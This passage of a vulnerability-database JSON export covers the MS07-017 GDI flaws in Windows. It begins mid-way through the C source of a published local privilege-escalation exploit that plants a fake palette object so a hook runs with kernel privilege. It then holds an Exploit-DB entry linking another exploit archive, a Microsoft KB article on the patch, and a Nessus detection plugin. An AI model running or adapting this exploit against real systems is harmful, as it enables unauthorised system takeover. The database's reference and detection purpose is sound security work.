GetThreadPriority (hThread); \r\n HANDLE hSection = (ULONG)0; \r\n PVOID MapFile = 0;\r\n HANDLE hProcess = (HANDLE)0xFFFFFFFF;\r\n WORD Pid = GetCurrentProcessId(); \r\n \r\n \tNtQuerySection = (NTQUERYSECTION)GetProcAddress(LoadLibrary( \"ntdll.dll\"),\"NtQuerySection\");\r\n \r\n printf (\"##########################################################\\n\"); \r\n printf (\"# GDI Local Elevation of Privilege Vulnerability Exploit #\\n\");\r\n printf (\"# All Windows 2000/XP before MS07-017 patch #\\n\");\r\n printf (\"##########################################################\\n\"); \r\n printf (\"# coded by Lionel d'Hauenens http://www.labo-asso.com #\\n\");\r\n printf (\"##########################################################\\n\\n\"); \r\n \r\n // Search handle section and mapper in virtual memory of user\r\n while ((DWORD)hSection<0xFFFF) \r\n {\r\n SectionInfo.Attributes = 0; \r\n MapFile = MapViewOfFile((HANDLE)hSection, FILE_MAP_ALL_ACCESS, 0, 0, 0); \r\n if (MapFile)\r\n {\r\n NtQuerySection((HANDLE)hSection,0,&SectionInfo,sizeof(SectionInfo),0);\r\n if (SectionInfo.Attributes == SEC_COMMIT) break; // For compatibility with win2k \r\n UnmapViewOfFile(MapFile); \r\n MapFile = 0;\r\n } \r\n hSection++;\r\n }\r\n\r\n if (!MapFile)\r\n {\r\n printf (\"Could not found shared section !\\n\");\r\n exit(0); \r\n } \r\n\r\n // Create Palette\r\n pLogPal = (PLOGPALETTE) calloc (sizeof(LOGPALETTE)+sizeof(PALETTEENTRY), 1); \r\n pLogPal->palNumEntries = 1;\r\n pLogPal->palVersion = 0x300;\r\n hPal = (HANDLE)CreatePalette(pLogPal); \r\n \r\n if (!hPal)\r\n {\r\n printf (\"Could not create palette !\\n\");\r\n exit(0); \r\n } \r\n \r\n // Search the entry of pal object \r\n OriginalPalObject = (PVOID)0; \r\n pGdiEntry = (PGDI_TABLE_ENTRY)MapFile;\r\n while ((DWORD)pGdiEntry < ((DWORD)MapFile) + SectionInfo.Size.QuadPart)\r\n {\r\n if ( pGdiEntry->ProcessID == Pid &&\r\n pGdiEntry->nType == PAL_TYPE )\r\n {\r\n // Save original pointer\r\n OriginalPalObject = (PVOID)pGdiEntry->pKernelInfo; \r\n break;\r\n } \r\n pGdiEntry++; \r\n }\r\n\r\n if (!OriginalPalObject)\r\n {\r\n printf (\"Could not find entry of Pal object !\\n\");\r\n exit(0); \r\n } \r\n \r\n // Create the false Pal object\r\n FalsePalObject = (PVOID) calloc(0x100/4,4);\r\n ((PDWORD)FalsePalObject)[0] = (DWORD)hPal; // Handle \r\n ((PDWORD)FalsePalObject)[0x14/4] = (DWORD) 1; // Availabled flag\r\n ((PVOID*)FalsePalObject)[0x3C/4] = (PVOID) &hook; // Interface GetNearestPaletteIndex \r\n \r\n printf (\"Section:\\n--------\\n\"); \r\n printf (\"Handle: 0x%08X Attributes: %08X Size: 0x%08X\\n\\n\", hSection\r\n , SectionInfo.Attributes\r\n , SectionInfo.Size.QuadPart);\r\n printf (\"Pointer of original pal object: 0x%08X\\n\", OriginalPalObject); \r\n printf (\"Address of user map: 0x%08X\\n\", MapFile); \r\n printf (\"Pointer of false pal object: 0x%08X\\n\", FalsePalObject); \r\n printf (\"Entry of GDI palette in user view: 0x%08X\\n\", MapFile+((((ULONG)hPal) & 0xFFFF)*sizeof(GDI_TABLE_ENTRY)) ); \r\n printf (\"Address of Hook(): 0x%08X\\n\\n\", &hook); \r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n ////////////////////////////////////////////////////////////////////////////// \r\n printf (\"->Test...\");\r\n flag_test = 0; \r\n SetThreadPriority (hThread, THREAD_PRIORITY_HIGHEST); \r\n \r\n // Active false Pal object \r\n pGdiEntry->pKernelInfo = FalsePalObject; \r\n \r\n GetNearestPaletteIndex (hPal, 0); //--> call hook() with kernel privilege :);\r\n \r\n // Restore original Pal object\r\n pGdiEntry->pKernelInfo = OriginalPalObject; \r\n \r\n SetThreadPriority (hThread,OriginalThreadPriotity);\r\n //////////////////////////////////////////////////////////////////////////////\r\n //////////////////////////////////////////////////////////////////////////////\r\n \r\n if (!flag_test) printf (\"ERROR !!!\\n\");\r\n else printf (\"OK :)\\n\");\r\n\r\n UnmapViewOfFile(MapFile);\r\n DeleteObject ((HANDLE)hPal);\r\n free((PVOID)pLogPal);\r\n free((PVOID)FalsePalObject); \r\n system(\"PAUSE\"); \r\n return (0); \r\n}\r\n\r\n// milw0rm.com [2007-04-17]\r\n", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://www.exploit-db.com/download/3755/"}, {"lastseen": "2016-01-31T19:20:36", "description": "MS Windows (.ANI) GDI Remote Elevation of Privilege Exploit (MS07-017). CVE-2006-5586,CVE-2006-5758,CVE-2007-0038,CVE-2007-1211,CVE-2007-1212,CVE-2007-1213,C...", "published": "2007-04-26T00:00:00", "type": "exploitdb", "title": "Microsoft Windows - .ANI GDI Remote Elevation of Privilege Exploit MS07-017", "bulletinFamily": "exploit", "cvelist": ["CVE-2007-1211", "CVE-2007-1213", "CVE-2006-5586", "CVE-2007-1212", "CVE-2007-1215", "CVE-2007-0038", "CVE-2006-5758"], "modified": "2007-04-26T00:00:00", "id": "EDB-ID:3804", "href": "https://www.exploit-db.com/exploits/3804/", "sourceData": "MS Windows (.ANI) GDI Remote Elevation of Privilege Exploit (MS07-017)\r\n\r\nhttps://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/3804.zip (04262007-gdi_remote_elevation_privilege_exploit_ms07_017_principal.zip)\r\n\r\n# milw0rm.com [2007-04-26]\r\n", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://www.exploit-db.com/download/3804/"}], "mskb": [{"lastseen": "2021-01-01T22:41:17", "bulletinFamily": "microsoft", "cvelist": ["CVE-2007-1211", "CVE-2007-1213", "CVE-2006-5586", "CVE-2007-1212", "CVE-2007-1215", "CVE-2007-0038", "CVE-2006-5758"], "description": "<html><body><p>Describes a security update for a reported vulnerability in GDI that could allow remote code execution.</p><h2></h2><div class=\"kb-summary-section section\">Microsoft has released security bulletin MS07-017. The security bulletin contains all the relevant information about the security update. This information includes file manifest information and deployment options. To view the complete security bulletin, visit one of the following Microsoft Web sites:<ul class=\"sbody-free_list\"><li>Home users:<div class=\"indent\"><a href=\"http://www.microsoft.com/athome/security/update/bulletins/200704oob.mspx\" id=\"kb-link-1\" target=\"_self\">http://www.microsoft.com/athome/security/update/bulletins/200704oob.mspx</a></div></li><li>IT professionals:<div class=\"indent\"><a href=\"http://www.microsoft.com/technet/security/bulletin/ms07-017.mspx\" id=\"kb-link-2\" target=\"_self\">http://www.microsoft.com/technet/security/bulletin/ms07-017.mspx</a></div></li></ul><h3 class=\"sbody-h3\">Known issues</h3><ul class=\"sbody-free_list\"><li>Microsoft is aware of an issue that affects a limited number of printer drivers. When you try to print by using one of these drivers, you may experience the following symptoms:<ul class=\"sbody-free_list\"><li>Your computer automatically restarts.</li><li>After you log on, you receive the following error message:<div class=\"sbody-error\">Microsoft Windows<br/>The system has recovered from a serious error. A log of this error has been created. Please tell Microsoft about this problem. We have created an error report that you can send to help us improve Microsoft Windows. We will treat this report as confidential and anonymous. To see what data this error report contains, click here.</div>When you click the link at the bottom of the message box, you see error signature information that resembles the following:<div class=\"indent\">BCCode : 0x0000007f (0x00000000, 0x00000000, 0x00000000, 0x00000000) OSVer : 5_1_2600 SP : 0_0 Product : 256_1</div></li><li>You receive the following Stop error message: <br/><div class=\"sbody-error\">A problem has been detected and Windows has been shut down to prevent damage to your computer...<br/>Technical information:<br/><br/>*** Stop 0x0000007f (0x00000000, 0x00000000, 0x00000000, 0x00000000) UNEXPECTED_KERNEL_MODE_TRAP</div></li></ul><span>For more information about this issue, click the following article number to view the article in the Microsoft Knowledge Base:<br/><br/><div class=\"indent\"><a href=\"https://support.microsoft.com/en-us/help/935843\" id=\"kb-link-3\">935843 </a> Stop 0x0000007F error when you print from Windows XP or Windows 2000 with GDI security update 925902 installed<br/><br/></div></span></li><li>After you install this security update on a computer that is running Windows XP with Service Pack 2, certain third-party applications may not start. Additionally, you receive an error message that resembles the following:<br/><br/><div class=\"sbody-error\"><strong class=\"sbody-strong\">application_executable_name</strong> - Illegal System DLL Relocation<br/>The system DLL user32.dll was relocated in memory. The application will not run properly. The relocation occurred because the DLL C:\\Windows\\System32\\Hhctrl.ocx occupied an address range reserved for Windows system DLLs. The vendor supplying the DLL should be contacted for a new DLL.</div><span>For more information about this issue, and to see a list of third-party programs that Microsoft has confirmed are affected by this problem, click the following article number to view the article in the Microsoft Knowledge Base:<br/><br/><div class=\"indent\"><a href=\"https://support.microsoft.com/en-us/help/935448\" id=\"kb-link-4\">935448 </a> Certain programs may not start, and you receive an error message on a computer that is running Windows XP Service Pack 2: \"Illegal System DLL Relocation\"<br/><br/></div></span>If you receive a similar message when you use other programs, install update 935448. If we confirm that other programs are affected by this problem, we will update Microsoft Knowledge Base article 935448 with more information.</li></ul></div><h2>Technical revisions</h2><div class=\"kb-moreinformation-section section\">The revision number and the review dates for this article may reflect minor editorial revisions or structural revisions to this content. The major technical revisions to this content are listed in this table.<div class=\"table-responsive\"><table class=\"sbody-table table\"><tr class=\"sbody-tr\"><th class=\"sbody-th\">Date</th><th class=\"sbody-th\">Revisions</th></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\">April 17, 2007</td><td class=\"sbody-td\">Updated the \"Known issues\" section to include information about a Stop error that you may receive after you install this security update. Added this table.</td></tr></table></div><span>The third-party products that this article discusses are manufactured by companies that are independent of Microsoft. Microsoft makes no warranty, implied or otherwise, about the performance or reliability of these products.</span></div></body></html>", "edition": 2, "modified": "2018-04-17T20:27:10", "id": "KB925902", "href": "https://support.microsoft.com/en-us/help/925902/", "published": "2018-04-17T20:27:10", "title": "MS07-017: Vulnerability in GDI could allow remote code execution", "type": "mskb", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "nessus": [{"lastseen": "2020-08-08T13:25:26", "description": "The remote host is running a version of Windows with a bug in the\nAnimated Cursor (ANI) handling routine that could allow an attacker to\nexecute arbitrary code on the remote host by sending a specially crafted\nemail or by luring a user on the remote host into visiting a rogue web\nsite.\n\nAdditionally, the system is vulnerable to :\n\n - Local Privilege Elevation (GDI, EMF, Font Rasterizer)\n\n - Denial of Service (WMF)", "edition": 22, "published": "2007-04-03T00:00:00", "title": "MS07-017: Vulnerabilities in GDI Could Allow Remote Code Execution (925902)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2007-1211", "CVE-2007-1213", "CVE-2006-5586", "CVE-2007-1212", "CVE-2007-1215", "CVE-2007-0038", "CVE-2006-5758", "CVE-2007-1765"], "modified": "2007-04-03T00:00:00", "cpe": ["cpe:/o:microsoft:windows"], "id": "SMB_NT_MS07-017.NASL", "href": "https://www.tenable.com/plugins/nessus/24911", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(24911);\n script_version(\"1.38\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2020/08/05\");\n\n script_cve_id(\n \"CVE-2006-5586\",\n \"CVE-2006-5758\",\n \"CVE-2007-0038\",\n \"CVE-2007-1211\",\n \"CVE-2007-1212\",\n \"CVE-2007-1213\",\n \"CVE-2007-1215\",\n \"CVE-2007-1765\"\n );\n script_bugtraq_id(23194, 23273, 23275, 23276, 23277, 23278);\n script_xref(name:\"MSFT\", value:\"MS07-017\");\n script_xref(name:\"MSKB\", value:\"925902\");\n \n script_xref(name:\"IAVA\", value:\"2007-A-0020-S\");\n script_xref(name:\"CERT\", value:\"191609\");\n script_xref(name:\"EDB-ID\", value:\"3617\");\n script_xref(name:\"EDB-ID\", value:\"3634\");\n script_xref(name:\"EDB-ID\", value:\"3635\");\n script_xref(name:\"EDB-ID\", value:\"3636\");\n script_xref(name:\"EDB-ID\", value:\"3652\");\n script_xref(name:\"EDB-ID\", value:\"16526\");\n script_xref(name:\"EDB-ID\", value:\"16698\");\n\n script_name(english:\"MS07-017: Vulnerabilities in GDI Could Allow Remote Code Execution (925902)\");\n script_summary(english:\"Determines the presence of update 925902\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"Arbitrary code can be executed on the remote host through the email\nclient or the web browser.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote host is running a version of Windows with a bug in the\nAnimated Cursor (ANI) handling routine that could allow an attacker to\nexecute arbitrary code on the remote host by sending a specially crafted\nemail or by luring a user on the remote host into visiting a rogue web\nsite.\n\nAdditionally, the system is vulnerable to :\n\n - Local Privilege Elevation (GDI, EMF, Font Rasterizer)\n\n - Denial of Service (WMF)\");\n # https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2007/ms07-017\n script_set_attribute(attribute:\"see_also\", value:\"https://www.nessus.org/u?844ca267\");\n script_set_attribute(attribute:\"solution\", value:\n\"Microsoft has released a set of patches for Windows 2000, XP, 2003 and\nVista.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (SMTP)');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_canvas\", value:\"true\");\n script_set_attribute(attribute:\"canvas_package\", value:'CANVAS');\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2006/11/06\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2007/04/03\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2007/04/03\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:microsoft:windows\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(english:\"This script is Copyright (C) 2007-2020 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Windows : Microsoft Bulletins\");\n\n script_dependencies(\"smb_hotfixes.nasl\", \"ms_bulletin_checks_possible.nasl\");\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, 'Host/patch_management_checks');\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"smb_hotfixes_fcheck.inc\");\ninclude(\"smb_hotfixes.inc\");\ninclude(\"smb_func.inc\");\ninclude(\"misc_func.inc\");\n\nget_kb_item_or_exit(\"SMB/MS_Bulletin_Checks/Possible\");\n\nbulletin = 'MS07-017';\nkb = \"925902\";\n\nkbs = make_list(kb);\nif (get_kb_item(\"Host/patch_management_checks\")) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);\n\nget_kb_item_or_exit(\"SMB/Registry/Enumerated\");\nget_kb_item_or_exit(\"SMB/WindowsVersion\", exit_code:1);\n\nif (hotfix_check_sp_range(win2k:'4,5', xp:'2', win2003:'0,2', vista:'0') <= 0) audit(AUDIT_OS_SP_NOT_VULN);\n\nrootfile = hotfix_get_systemroot();\nif (!rootfile) exit(1, \"Failed to get the system root.\");\n\nshare = hotfix_path2share(path:rootfile);\nif (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);\n\nif (\n hotfix_is_vulnerable(os:\"6.0\", sp:0, file:\"User32.dll\", version:\"6.0.6000.16438\", dir:\"\\System32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"6.0\", sp:0, file:\"User32.dll\", version:\"6.0.6000.20537\", min_version:\"6.0.6000.20000\", dir:\"\\System32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"5.2\", sp:2, file:\"User32.dll\", version:\"5.2.3790.4033\", dir:\"\\System32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"5.2\", sp:1, file:\"User32.dll\", version:\"5.2.3790.2892\", dir:\"\\System32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"5.2\", sp:0, file:\"User32.dll\", version:\"5.2.3790.651\", dir:\"\\System32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"5.1\", file:\"User32.dll\", version:\"5.1.2600.3099\", dir:\"\\System32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"5.0\", file:\"User32.dll\", version:\"5.0.2195.7133\", dir:\"\\System32\", bulletin:bulletin, kb:kb)\n)\n{\n set_kb_item(name:\"SMB/Missing/\"+bulletin, value:TRUE);\n hotfix_security_hole();\n hotfix_check_fversion_end();\n exit(0);\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, 'affected');\n}\n\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}]}